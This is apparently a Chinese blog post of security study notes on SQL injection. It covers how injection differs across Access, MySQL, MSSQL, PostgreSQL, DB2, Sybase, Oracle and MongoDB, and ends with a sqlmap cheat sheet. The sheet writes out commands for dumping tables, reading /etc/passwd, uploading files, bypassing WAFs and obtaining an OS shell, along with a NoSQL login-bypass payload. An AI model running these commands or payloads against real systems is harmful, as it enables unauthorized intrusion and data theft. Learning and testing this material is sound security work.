-
通用安全漏洞SQL注入&sqlmap&Oracle&mongodb&DB2
-
数据库类型
-
ACCESS
-
特性
- 没数据库用户
- 没数据库权限
- 没数据库查询参数
- 没有高权限注入说法
- 暴力猜解,借助字典得到数据
-
注入方式
- 联合注入
- 偏移注入
- 表名列名猜解不到
- 偏移注入
-
-
MySQL
- 低权限
- 常规注入
-
高权限
- 常规注入
- 文件读取
- load_file
- 文件写入
- into outfile
-
权限原因&判断
- 代码连接用户决定
- 查询函数user()
-
其他
- database()
- version()
- @@version_compile_os
- 低权限
-
MSSQL
- 低权限
- 常规注入
-
高权限
- 常规注入
- 文件读取
- 文件读写
- 命令执行
- 注册表读取
-
权限原因&判断
- 代码连接用户决定
- 查询函数-user()
-
其他
- db_name() 当前数据库名字
- @@version 获取版本信息
- @@SERVERNAME 获取服务器主机信息
- 低权限
-
postgreSQL
- 低权限
- 常规注入
-
高权限
- 常规注入
- 文件读取
- 文件写入
-
权限原因&判断
- 代码连接用户决定
- 查询函数current_user
-
其他
- version()
- current_database()
- 低权限
-
db2
-
特性:
- 数据库结构复杂,表名和列名通常需要猜解。
- 高权限用户可以通过 LOAD 和 CALL 执行系统命令。
-
注入方式:
- 联合注入:通过 UNION SELECT 获取数据。
- 报错注入:通过 XMLQUERY 等函数触发报错。
-
权限判断:
- 使用 SELECT user FROM sysibm.sysdummy1 查询当前用户。
- 使用 SELECT * FROM sysibm.sysversions 查询数据库版本。
-
-
sybase
-
Sybase 的基本特点
- 支持标准的 SQL 语法。
- 支持存储过程、触发器等高级功能。
- 数据库结构包括数据库、表、视图、存储过程等。
-
- Sybase 的权限模型
- 高权限用户(如 sa)可以执行系统命令、读写文件等操作。
- 低权限用户只能访问特定的数据库对象。
- Sybase 的权限分为数据库用户和角色。
-
-
oracle
-
特性:
- 数据库结构复杂,表名和列名通常需要猜解。
- 高权限用户可以通过 UTL_FILE 读写文件。
-
注入方式:
- 联合注入:通过 UNION SELECT 获取数据。
- 报错注入:通过 ctxsys.drithsx.sn 等函数触发报错。
-
权限判断:
- 使用 SELECT user FROM dual 查询当前用户。
- 使用 SELECT * FROM v$version 查询数据库版本。
-
-
mangodb
-
特性:
- NoSQL 数据库,不支持传统 SQL 注入。
- 可能存在 NoSQL 注入漏洞,通常通过 JSON 查询注入。
-
注入方式:
- 通过修改 JSON 查询条件,绕过身份验证或获取数据。
- { "username": {"ne": ""}, "password": {"ne": ""} }
-
-
- 注入神器
-
SQLMAP
-
常见参数
-
- 指定目标
- --data:指定 POST 请求的数据。
- sqlmap -u "http://example.com/login" --data="username=admin&password=123"
- --cookie:指定 Cookie。
- sqlmap -u "http://example.com/page?id=1" --cookie="sessionid=12345"
- -u 或 --url:指定目标 URL。
- sqlmap -u "http://example.com/page?id=1"
-
- 指定注入点
- --skip:跳过某些参数的测试。
- sqlmap -u "http://example.com/page?id=1\&name=test" --skip="name"
- -p:指定需要测试的参数。
- sqlmap -u "http://example.com/page?id=1\&name=test" -p "id"
-
- 指定数据库类型
- --dbms:指定目标数据库类型(如 MySQL、Oracle、PostgreSQL 等)。
- sqlmap -u "http://example.com/page?id=1" --dbms=MySQL
-
- 获取数据库信息
- --current-db:获取当前数据库名称。
- sqlmap -u "http://example.com/page?id=1" --current-db
- --tables:枚举指定数据库的表。
- sqlmap -u "http://example.com/page?id=1" -D database_name --tables
- --dbs:枚举所有数据库。
- sqlmap -u "http://example.com/page?id=1" --dbs
- --columns:枚举指定表的列。
- sqlmap -u "http://example.com/page?id=1" -D database_name -T table_name --columns
- --dump:导出表数据。
- sqlmap -u "http://example.com/page?id=1" -D database_name -T table_name --dump
-
- 高级功能
- --risk:设置风险等级(1-3,默认 1),风险越高,测试越激进。
- sqlmap -u "http://example.com/page?id=1" --risk=2
- --threads:设置并发线程数。
- sqlmap -u "http://example.com/page?id=1" --threads=5
- --batch:自动选择默认选项,无需用户交互。
- sqlmap -u "http://example.com/page?id=1" --batch
- --level:设置测试等级(1-5,默认 1),等级越高,测试越全面。
- sqlmap -u "http://example.com/page?id=1" --level=3
-
- 文件加载
- -l:从日志文件中加载目标。
- sqlmap -l logfile.txt
- -r:从文件中加载 HTTP 请求。
- sqlmap -r request.txt
-
- 绕过 WAF/IDS
- --tamper:使用脚本绕过 WAF(Web 应用防火墙)或 IDS(入侵检测系统)。
- sqlmap -u "http://example.com/page?id=1" --tamper=space2comment
-
- 其他常用参数
- --sql-shell:获取 SQL 交互式 shell。
- sqlmap -u "http://example.com/page?id=1" --sql-shell
- --file-read:读取服务器上的文件。
- sqlmap -u "http://example.com/page?id=1" --file-read="/etc/passwd"
- --file-write 和 --file-dest:上传文件到服务器。
- sqlmap -u "http://example.com/page?id=1" --file-write="local_file" --file-dest="/remote/path"
- --os-shell:尝试获取操作系统的 shell。
- sqlmap -u "http://example.com/page?id=1" --os-shell
- 示例 1:检测注入点
- sqlmap -u "http://example.com/page?id=1"
- 示例 2:枚举数据库
- sqlmap -u "http://example.com/page?id=1" --dbs
- 示例 3:导出表数据
- sqlmap -u "http://example.com/page?id=1" -D database_name -T table_name --dump
- 示例 4:获取操作系统 shell
- sqlmap -u "http://example.com/page?id=1" --os-shell
- 示例 5:绕过 WAF
- sqlmap -u "http://example.com/page?id=1" --tamper=space2comment --level=5 --risk=3
-
-
-
-
网络安全之攻防笔记--通用安全漏洞SQL注入&sqlmap&Oracle&mongodb&DB2
Dawndddddd2025-02-24 10:45
相关推荐
SRA.16 分钟前
STM32——HAL库开发笔记22(定时器3—呼吸灯实验)(参考来源:b站铁头山羊)SRA.17 分钟前
STM32——HAL库开发笔记21(定时器2—输出比较)(参考来源:b站铁头山羊)jingwang-cs18 分钟前
内外网文件传输 安全、可控、便捷的跨网数据传输方案Jason95101 小时前
使用大语言模型(Deepseek)构建一个基于 SQL 数据的问答系统DKPT1 小时前
计算机网络之路由协议(自治系统)是懒羊羊吖~3 小时前
Visual Studio Code的下载安装与汉化Hacker_Nightrain3 小时前
内网网络安全的解决之道SRA.3 小时前
STM32——HAL库开发笔记23(定时器4—输入捕获)(参考来源:b站铁头山羊)Dongwoo Jeong4 小时前
类型系统下的语言分类与类型系统基础